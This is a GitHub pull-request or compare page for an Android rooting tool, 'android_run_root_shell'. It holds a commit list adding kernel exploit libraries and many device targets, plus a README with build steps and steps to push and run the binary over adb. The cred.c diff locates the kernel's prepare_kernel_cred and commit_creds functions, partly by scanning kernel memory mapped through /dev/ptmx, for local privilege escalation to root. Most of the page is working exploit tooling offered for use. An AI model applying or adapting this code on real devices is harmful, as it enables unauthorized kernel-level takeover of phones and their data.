Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
138 commits
Select commit Hold shift + click to select a range
6ab243a
Change libperf_event_exploit path
Jun 20, 2013
fd4c49d
Change android_device_database path
fi01 Jun 21, 2013
8e553d2
Support SC-01E and SC-04E
fi01 Jun 19, 2013
fba7cb4
Support SGP312 10.1.C.0.370
fi01 Jun 21, 2013
b498c0d
Added support for device Sony Xperia Z (DEVICE_C6603_1275_1562_10_1_1…
wphungsuk Jun 20, 2013
153d8ba
Added support for device LG Optimus G E975 (DEVICE_LG_E975_V10e)
wphungsuk Jun 20, 2013
ddebffd
added support for Xperia ZL (C6503) - 10.3.A.0.423 - 1266-7597
DooMLoRD Jun 21, 2013
9616a0a
added support for Xperia Tablet Z (SGP321) - 10.1.1.A.1.307
DooMLoRD Jun 21, 2013
34e8d87
added support for Xperia Tablet Z (SGP311) - 10.1.C.0.370
DooMLoRD Jun 21, 2013
4f8abf8
no need to worry about customizations, seems that for a particular fi…
DooMLoRD Jun 21, 2013
bdb0a3b
add compatibility with device variants, seems that for a particular f…
DooMLoRD Jun 21, 2013
1f00745
added support for Xperia T (LT30p) 9.1.A.1.141
DooMLoRD Jun 21, 2013
e04669d
add LT29i 9.1.B.1.67
Jun 23, 2013
80845b8
Merge pull request #2 from sj8023ld/master
DooMLoRD Jun 23, 2013
59e1018
attempt diag_exploit last because it is not stable. Try stable one fi…
fi01 Jun 23, 2013
459f673
Add FJL21 V23R39X
fi01 Jun 23, 2013
8adc5fe
Add FJL21 V37R47A
fi01 Jun 23, 2013
d22ca25
Added LT29i 9.1.B.0.411
fi01 Jun 23, 2013
29dd41c
added support for Xperia SL (LT26ii) 6.2.B.0.211
DooMLoRD Jun 23, 2013
061dce3
added support for Xperia Acros S (LT26w) 6.2.B.0.211
DooMLoRD Jun 23, 2013
2cdd568
added support for Xperia P (LT22i) 6.2.A.1.100 (thanks to the_laser)
DooMLoRD Jun 23, 2013
a0b679d
added support for Xperia Go (ST27i/a) 6.2.A.1.100 (thanks to the_laser)
DooMLoRD Jun 23, 2013
bb9cf0c
added support for Xperia T (LT30p) 9.1.A.1.142 (thanks to the_laser)
DooMLoRD Jun 23, 2013
f3ca25a
added support for Xperia V (LT25i) 9.1.A.1.140/142 (thanks to the_laser)
DooMLoRD Jun 23, 2013
1f95f45
added support for Google Nexus 4 (JDQ39)
DooMLoRD Jun 23, 2013
5102e7a
Added SOL21 9.0.F.0.226
fi01 Jun 24, 2013
13600ca
added support for Galaxy Nexus (JOP40C)
cofface Jun 24, 2013
e8fa4d3
added support for Galaxy Nexus (JOP40C)
cofface Jun 24, 2013
499ed9b
add support Galaxy Nexus JOP40C
cofface Jun 24, 2013
71dec01
Merge pull request #3 from cofface/patch-2
DooMLoRD Jun 24, 2013
f4b8552
Merge pull request #4 from cofface/patch-3
DooMLoRD Jun 24, 2013
adaed0e
Merge pull request #5 from cofface/patch-4
DooMLoRD Jun 24, 2013
c0ad3c4
Add C5303 12.0.1.1.257
Jun 24, 2013
ecacf3e
Merge pull request #6 from sj8023ld/master
DooMLoRD Jun 24, 2013
2227043
add nec-101t
stormtroopermx Jun 24, 2013
ad9c1bf
add nec-101t
stormtroopermx Jun 24, 2013
f382304
add nec-101t
stormtroopermx Jun 24, 2013
bb534df
Merge pull request #7 from stormtroopermx/master
fi01 Jun 26, 2013
d2c142c
add Galaxy Nexus jz054k
cofface Jun 26, 2013
32d48d4
add Galaxy Nexus jz054k
cofface Jun 26, 2013
96f1a7f
add Galaxy Nexus jz054k
cofface Jun 26, 2013
5529e41
Add F05D (V08R31C and V11R40A)
fi01 Jun 26, 2013
e80fc84
Sync with submodules
fi01 Jun 26, 2013
69d23e2
Merge pull request #8 from cofface/patch-5
fi01 Jun 26, 2013
27ba970
Merge pull request #9 from cofface/patch-6
fi01 Jun 26, 2013
2e9ab6f
Merge pull request #10 from cofface/patch-7
fi01 Jun 26, 2013
6d7e989
Fixed compiling
fi01 Jun 26, 2013
0b2f3d4
Move all symbol addresses into device_database library
fi01 Jun 27, 2013
b1c5874
Add library libfj_hdcp_exploit
fi01 Jul 3, 2013
ceaa681
Support command line option to run command as root
fi01 Jul 4, 2013
ae093af
update subprojects
DooMLoRD Jul 5, 2013
954f38d
added support for Xperia Z (C6602/3) - 10.3.A.0.423
DooMLoRD Jul 5, 2013
e32c109
updated subprojects
DooMLoRD Jul 5, 2013
6fca3f9
give preference to perf_event exploit
DooMLoRD Jul 5, 2013
d78eb8c
little debug: show detected device right at start
DooMLoRD Jul 5, 2013
2c1eb47
updated subprojects with device support for C5302/3/6, SOL21, LT26i, …
DooMLoRD Jul 5, 2013
5e69530
Add Building section to README.md
schizoidboy Jul 6, 2013
c397f29
Merge pull request #11 from schizoidboy/master
DooMLoRD Jul 6, 2013
01dfcaa
updated readme
DooMLoRD Jul 6, 2013
7f0faa3
Add run instructions to README.md
schizoidboy Jul 6, 2013
dc46b5f
Add run instructions to README.md - fix typo
schizoidboy Jul 6, 2013
8c5b007
Merge pull request #12 from schizoidboy/master
DooMLoRD Jul 7, 2013
2d40b54
added support for (M36h) a variant of Xperia ZR (C550X) - 10.1.1.A.1.310
DooMLoRD Jul 7, 2013
67ffd5a
added support for Xperia SL (LT26ii) 6.2.B.0.200
DooMLoRD Jul 7, 2013
584202d
added support for Xperia J (ST26i/a) 11.2.A.0.21
DooMLoRD Jul 7, 2013
b716888
added support for Xperia J (ST26i/a) 11.2.A.0.31
DooMLoRD Jul 7, 2013
9ef8317
added support for Xperia L (C2104/5) 15.0.A.1.31/36
DooMLoRD Jul 7, 2013
9ffd970
added support for Xperia Z (C6606) - 10.1.1.B.0.1.166
DooMLoRD Jul 16, 2013
886cdcb
update subproject with latest commits
DooMLoRD Jul 20, 2013
e6bc328
Update device_database
Jul 21, 2013
5d0fb61
Update libperf_event_exploit
Jul 21, 2013
1ada45b
subproject with latest commits
fi01 Jul 23, 2013
afa2d0b
Add TARGET_C_INCLUDES to include device_database.h in submodule
Jul 23, 2013
e70fb69
Update submodules
Jul 23, 2013
def3c00
Change libdiagexploit repos
Jul 23, 2013
58adb71
Should return false if fsync fails
Jul 24, 2013
665ec12
All symbols are detected automatically with libfb_mem_exploit and lib…
fi01 Jul 25, 2013
de1f5f6
Fix indentation
Jul 25, 2013
23c6946
Rename function get_xx_address() to setup_xx_address()
fi01 Jul 25, 2013
74758cd
Update for new kallsyms_in_memory_lookup_names API
fi01 Aug 1, 2013
3d56f65
updated subprojects
DooMLoRD Aug 4, 2013
c88e432
updated subprojects
DooMLoRD Aug 4, 2013
962135d
subproject with latest commits
fi01 Aug 8, 2013
ddf7e79
subproject with latest commits
fi01 Aug 23, 2013
d69e8a3
Use libexploit submodule
fi01 Aug 28, 2013
7ebc7ca
Do not call function kallsyms_in_memory_free() to avoid crash with fb…
fi01 Aug 28, 2013
a9a7d52
update subprojects
DooMLoRD Sep 11, 2013
194ab49
update subprojects
DooMLoRD Sep 11, 2013
b8daabc
update subprojects
fi01 Sep 23, 2013
dec6312
Add libmsm_cameraconfig_exploit
fi01 Oct 3, 2013
6fb97bd
update subprojects
fi01 Oct 3, 2013
9e4c175
update subprojects
fi01 Oct 13, 2013
c72c316
update subprojects
fi01 Oct 14, 2013
361b02e
update subprojects
fi01 Nov 5, 2013
72857d9
update subprojects
fi01 Nov 7, 2013
adacf19
update subprojects
fi01 Nov 8, 2013
66babec
update subprojects
fi01 Nov 13, 2013
98f800c
update subprojects
fi01 Nov 14, 2013
f20030a
Add libput_user_exploit
fi01 Nov 18, 2013
c5f5051
update subprojects
fi01 Nov 18, 2013
7a47b1d
update subprojects
fi01 Oct 19, 2013
c9c69d1
update subprojects
fi01 Nov 19, 2013
c1109f4
update subprojects
fi01 Nov 23, 2013
9aaa917
Add libget_user_exploit
fi01 Nov 28, 2013
ddf15a5
update subprojects
fi01 Dec 7, 2013
3f4397a
Enable kallsyms_in_memory_free() that it crashes no longer
fi01 Dec 9, 2013
d6dee78
Fix searching ptmx_fops address, now it ignores file operations what …
fi01 Dec 9, 2013
f029ae8
Use sqlite3 database
fi01 Dec 6, 2013
05b7f10
Register device and addresses if it founds them out
fi01 Dec 7, 2013
9442fea
update subprojects
fi01 Dec 7, 2013
eb964a9
Fix error messages
fi01 Dec 10, 2013
50b9602
Fixed crash when it installs ptmx_fops.mmap handler by libput_user_ex…
fi01 Dec 10, 2013
fb2f548
update subprojects
fi01 Dec 22, 2013
8ca2228
update subprojects
fi01 Dec 24, 2013
feb457c
update subprojects
fi01 Dec 25, 2013
e346a43
update subprojects
fi01 Jan 17, 2014
39fb283
libsqlite has been moved into device_database.
May 2, 2014
f31810f
All exploit libraries has been moved into libexploit/.
May 2, 2014
99ad56d
Update device_database.
May 2, 2014
babe70a
Update device_database repository.
May 2, 2014
d716a58
Update device_database submodule.
May 3, 2014
79bc660
Expand tab.
May 3, 2014
a62259f
Update submodules.
Jun 1, 2014
6ba8012
Update subprojects
fi01 Jun 6, 2014
0f5506d
Update subprojects
fi01 Sep 13, 2014
ab89ba4
Update submodule
fi01 Sep 16, 2014
399199d
Update submodule
fi01 Sep 17, 2014
17d6852
Try to modify in struct cred directly when commit_creds() is failed.
fi01 Sep 17, 2014
c94bb4a
Update submodule
fi01 Sep 18, 2014
14d1bbe
Update device_database submodule.
fi01 Oct 21, 2014
61ea53b
Improve cred address detection
Oct 5, 2015
f06f9fc
Update submodule
Oct 5, 2015
5e7aa1a
Update submodule
Oct 7, 2015
40f9028
Update submodule
Nov 22, 2015
c6ff770
Use a publicly accessible url for the submodule.
izrik Mar 10, 2016
1f30bfc
Merge pull request #34 from izrik/patch-1
Aug 27, 2016
652baca
Fixed two typos
eunchan-kim Nov 8, 2016
23f7d70
Merge pull request #37 from neo9ree/master
fi01 Nov 8, 2016
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 7 additions & 10 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -1,12 +1,9 @@
[submodule "libdiagexploit"]
path = libdiagexploit
url = git://github.com/hiikezoe/libdiagexploit.git
[submodule "device_database"]
path = device_database
url = git://github.com/fi01/android_device_database.git
[submodule "libperf_event_exploit"]
path = libperf_event_exploit
url = git://github.com/hiikezoe/libperf_event_exploit.git
[submodule "libmsm_acdb_exploit"]
path = libmsm_acdb_exploit
url = git://github.com/fi01/libmsm_acdb_exploit.git
url = https://github.com/android-rooting-tools/android_device_database.git
[submodule "libkallsyms"]
path = libkallsyms
url = https://github.com/android-rooting-tools/libkallsyms.git
[submodule "libexploit"]
path = libexploit
url = https://github.com/android-rooting-tools/libexploit.git
13 changes: 8 additions & 5 deletions Android.mk
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,15 @@ LOCAL_SRC_FILES := \

LOCAL_MODULE := run_root_shell
LOCAL_MODULE_TAGS := optional
LOCAL_FORCE_STATIC_EXECUTABLE := true
LOCAL_STATIC_LIBRARIES := libdiagexploit
LOCAL_STATIC_LIBRARIES += libdevice_database
LOCAL_STATIC_LIBRARIES += libperf_event_exploit
LOCAL_STATIC_LIBRARIES += libmsm_acdb_exploit
LOCAL_STATIC_LIBRARIES := libdevice_database
LOCAL_STATIC_LIBRARIES += libexploit
LOCAL_STATIC_LIBRARIES += libkallsyms
LOCAL_STATIC_LIBRARIES += libcutils libc
LOCAL_LDFLAGS += -static

TOP_SRCDIR := $(abspath $(LOCAL_PATH))
TARGET_C_INCLUDES += \
$(TOP_SRCDIR)/device_database

include $(BUILD_EXECUTABLE)

Expand Down
49 changes: 48 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,50 @@
#
android_run_root_shell
======================

This code is still ugly, please re-write it and send pull-requests, if you want to use this.


Building
========

* Download the Android Native Development Kit (NDK): http://developer.android.com/tools/sdk/ndk/index.html#Downloads

* Extract into some directory and put that in your path:
`export PATH=ANDK_DIR:$PATH`

* In another directory clone this repo:
`git clone --recursive https://github.com/android-rooting-tools/android_run_root_shell`

* Change to the directory where the repo was cloned
`cd android_run_root_shell`

* To start build process use the following
`ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk`

* If all goes well you will get the compiled binary at:
`./libs/armeabi/run_root_shell`


Running
=======

* Download the Android Software Development Kit (SDK) ADT Bundle: http://developer.android.com/sdk/index.html

* Extract into some directory and put the platform-tools folder in your path:
`export PATH=SDK_DIR/sdk/platform-tools/:$PATH`

* Change to the directory with the compiled run_root_shell binary (see above)

* Connect your Android device through USB (click Cancel if it asks to enable USB storage; charging only is the correct mode) and enable USB debugging on the device.

* Start the adb server on your computer:
`sudo adb start-server`

* Transfer run_root_shell to a temporary directory on the phone:
`adb push run_root_shell /data/local`

* Ensure that run_root_shell has execute permissions:
`adb shell chmod 777 /data/local/run_root_shell`

* Run the command on the phone:
`adb shell /data/local/run_root_shell`
195 changes: 52 additions & 143 deletions cred.c
Original file line number Diff line number Diff line change
@@ -1,195 +1,104 @@
#include <errno.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>

#include "cred.h"
#include "mm.h"
#include "ptmx.h"
#include "libdiagexploit/diag.h"
#include "kallsyms.h"
#include "libperf_event_exploit/perf_event.h"
#include "device_database/device_database.h"

typedef struct _supported_device {
device_id_t device_id;
unsigned long int prepare_kernel_cred_address;
unsigned long int commit_creds_address;
} supported_device;

static supported_device supported_devices[] = {
{ DEVICE_IS17SH_01_00_04, 0xc01c66a8, 0xc01c5fd8 },
{ DEVICE_SH04E_01_00_02, 0xc008d86c, 0xc008d398 },
{ DEVICE_SH04E_01_00_03, 0xc008d99c, 0xc008d4c8 },
{ DEVICE_SO01E_9_1_C_0_473, 0xc009843c, 0xc0097f60 },
{ DEVICE_SOL21_9_1_D_0_395, 0xc0098584, 0xc00980a8 },
{ DEVICE_HTL21_1_29_970_1, 0xc00ab9d8, 0xc00ab4c4 },
{ DEVICE_HTL22_1_05_970_1, 0xc00b2688, 0xc00b2174 },
{ DEVICE_HTL22_1_07_970_4, 0xc00b26a0, 0xc00b218c },
{ DEVICE_HTX21_1_20_971_1, 0xc00a6e54, 0xc00a6940 },
{ DEVICE_LT26W_1265_3909_6_2_B_0_200, 0xc00b261c, 0xc00b2140 },
{ DEVICE_LT26I_1257_8080_6_2_B_0_211, 0xc00b19d8, 0xc00b14fc },
{ DEVICE_C6603_1269_5309_10_1_1_A_1_307, 0xc0093dd4, 0xc00938f8 },
{ DEVICE_C5302_1272_1092_12_0_A_1_284, 0xc009ec08, 0xc009e72c },
{ DEVICE_N05E_A1000311, 0xc0094430, 0xc0093ebc }
};

static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]);
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

static bool
get_creds_functions_addresses(void **prepare_kernel_cred_address, void **commit_creds_address)
bool
setup_prepare_kernel_cred_address(void)
{
int i;
device_id_t device_id;

device_id = detect_device();

for (i = 0; i < n_supported_devices; i++) {
if (supported_devices[i].device_id == device_id){
if (prepare_kernel_cred_address) {
*prepare_kernel_cred_address = (void*)supported_devices[i].prepare_kernel_cred_address;
}
if (commit_creds_address) {
*commit_creds_address = (void*)supported_devices[i].commit_creds_address;
}
return true;
}
if (prepare_kernel_cred) {
return true;
}

print_reason_device_not_supported();

return false;
}

static uint32_t PAGE_OFFSET = 0xC0000000;
prepare_kernel_cred = (prepare_kernel_cred_t)device_get_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred));

static void *
convert_to_kernel_address(void *address, void *mmap_base_address)
{
return address - mmap_base_address + (void*)PAGE_OFFSET;
}
if (!prepare_kernel_cred && kallsyms_exist()) {
prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred");
}

static void *
convert_to_mmaped_address(void *address, void *mmap_base_address)
{
return mmap_base_address + (address - (void*)PAGE_OFFSET);
return !!prepare_kernel_cred;
}

static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 };
static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm);
static void *
find_prepare_kernel_cred(void *mem, size_t length)
bool
setup_commit_creds_address(void)
{
void *prepare_kernel_cred;

prepare_kernel_cred = memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length);
if (!prepare_kernel_cred) {
printf("Couldn't find prepare_kernel_cred address\n");
return NULL;
if (commit_creds) {
return true;
}

return prepare_kernel_cred;
}

static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 };
static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm);
static void *
find_commit_creds(void *mem, size_t length)
{
void *commit_creds;
commit_creds = (commit_creds_t)device_get_symbol_address(DEVICE_SYMBOL(commit_creds));

commit_creds = memmem(mem, length, &commit_creds_asm, commit_creds_asm_length);
if (!commit_creds) {
printf("Couldn't find commit_creds address\n");
return NULL;
if (!commit_creds && kallsyms_exist()) {
commit_creds = kallsyms_get_symbol_address("commit_creds");
}

return commit_creds;
return !!commit_creds;
}

#define KERNEL_SIZE 0x10000000
static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 };
static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm);

static bool
find_creds_functions_with_mmap(void *user_data)
find_prepare_kernel_cred_address_in_memory(void *mem, size_t length)
{
int fd;
void *address;
void *start_address = (void*) 0x10000000;

fd = open(PTMX_DEVICE, O_RDWR);
address = mmap(start_address, KERNEL_SIZE,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED,
fd, 0);
if (address == MAP_FAILED) {
printf("Failed to mmap /dev/ptmx due to %s.\n", strerror(errno));
close(fd);
return false;
}

prepare_kernel_cred = find_prepare_kernel_cred(address, KERNEL_SIZE);
if (prepare_kernel_cred) {
commit_creds = find_commit_creds(prepare_kernel_cred + 4, KERNEL_SIZE);

prepare_kernel_cred = convert_to_kernel_address(prepare_kernel_cred, address);
commit_creds = convert_to_kernel_address(commit_creds, address);
return true;
}

munmap(address, KERNEL_SIZE);

close(fd);

return prepare_kernel_cred && commit_creds;
}

static bool
find_with_diag_exploit(unsigned int ptmx_mmap_address)
{
struct diag_values injection_data;

injection_data.address = ptmx_mmap_address;
injection_data.value = (uint16_t)&ptmx_mmap;
address = (prepare_kernel_cred_t)memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length);
if (!address) {
return false;
}

return diag_run_exploit(&injection_data, 1,
find_creds_functions_with_mmap, NULL);
prepare_kernel_cred = (prepare_kernel_cred_t)convert_to_kernel_address(address, mem);
return true;
}

static bool
find_with_perf_swevent_exploit(unsigned int ptmx_mmap_address)
{
return perf_swevent_run_exploit(ptmx_mmap_address, (int)&ptmx_mmap,
find_creds_functions_with_mmap, NULL);
}
static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 };
static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm);

static bool
find_creds_functions_in_memory(void)
find_commit_creds_address_in_memory(void *mem, size_t length)
{
unsigned long int ptmx_mmap_address;
void *address;

ptmx_mmap_address = get_ptmx_fops_address() + 0x28;
if (commit_creds) {
return true;
}

if (diag_is_supported()) {
return find_with_diag_exploit(ptmx_mmap_address);
address = (commit_creds_t)memmem(mem, length, &commit_creds_asm, commit_creds_asm_length);
if (!address) {
return false;
}
return find_with_perf_swevent_exploit(ptmx_mmap_address);

commit_creds = (commit_creds_t)convert_to_kernel_address(address, mem);
return true;
}

bool
setup_creds_functions(void)
setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length)
{
if (kallsyms_exist()) {
prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred");
commit_creds = kallsyms_get_symbol_address("commit_creds");
if (prepare_kernel_cred) {
return true;
}

if (get_creds_functions_addresses((void**)&prepare_kernel_cred, (void**)&commit_creds)) {
return find_prepare_kernel_cred_address_in_memory(mem, length);
}

bool
setup_commit_creds_address_in_memory(void *mem, size_t length)
{
if (commit_creds) {
return true;
}

return find_creds_functions_in_memory();
return find_commit_creds_address_in_memory(mem, length);
}

14 changes: 11 additions & 3 deletions cred.h
Original file line number Diff line number Diff line change
Expand Up @@ -19,14 +19,22 @@
#define CREDS_H

#include <stdbool.h>
#include <stdio.h>

struct cred;
struct task_struct;

bool setup_creds_functions(void);
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *);
typedef int (*commit_creds_t)(struct cred *);

struct cred *(*prepare_kernel_cred)(struct task_struct *);
int (*commit_creds)(struct cred *);
extern bool setup_prepare_kernel_cred_address();
extern bool setup_commit_creds_address();

extern bool setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length);
extern bool setup_commit_creds_address_in_memory(void *mem, size_t length);

extern prepare_kernel_cred_t prepare_kernel_cred;
extern commit_creds_t commit_creds;

#endif /* CREDS_H */
/*
Expand Down
2 changes: 1 addition & 1 deletion device_database
1 change: 0 additions & 1 deletion libdiagexploit
Submodule libdiagexploit deleted from 80d0ad
1 change: 1 addition & 0 deletions libexploit
Submodule libexploit added at e919a5
1 change: 1 addition & 0 deletions libkallsyms
Submodule libkallsyms added at aa38ae
1 change: 0 additions & 1 deletion libmsm_acdb_exploit
Submodule libmsm_acdb_exploit deleted from 76ee2e
1 change: 0 additions & 1 deletion libperf_event_exploit
Submodule libperf_event_exploit deleted from fb3853
Loading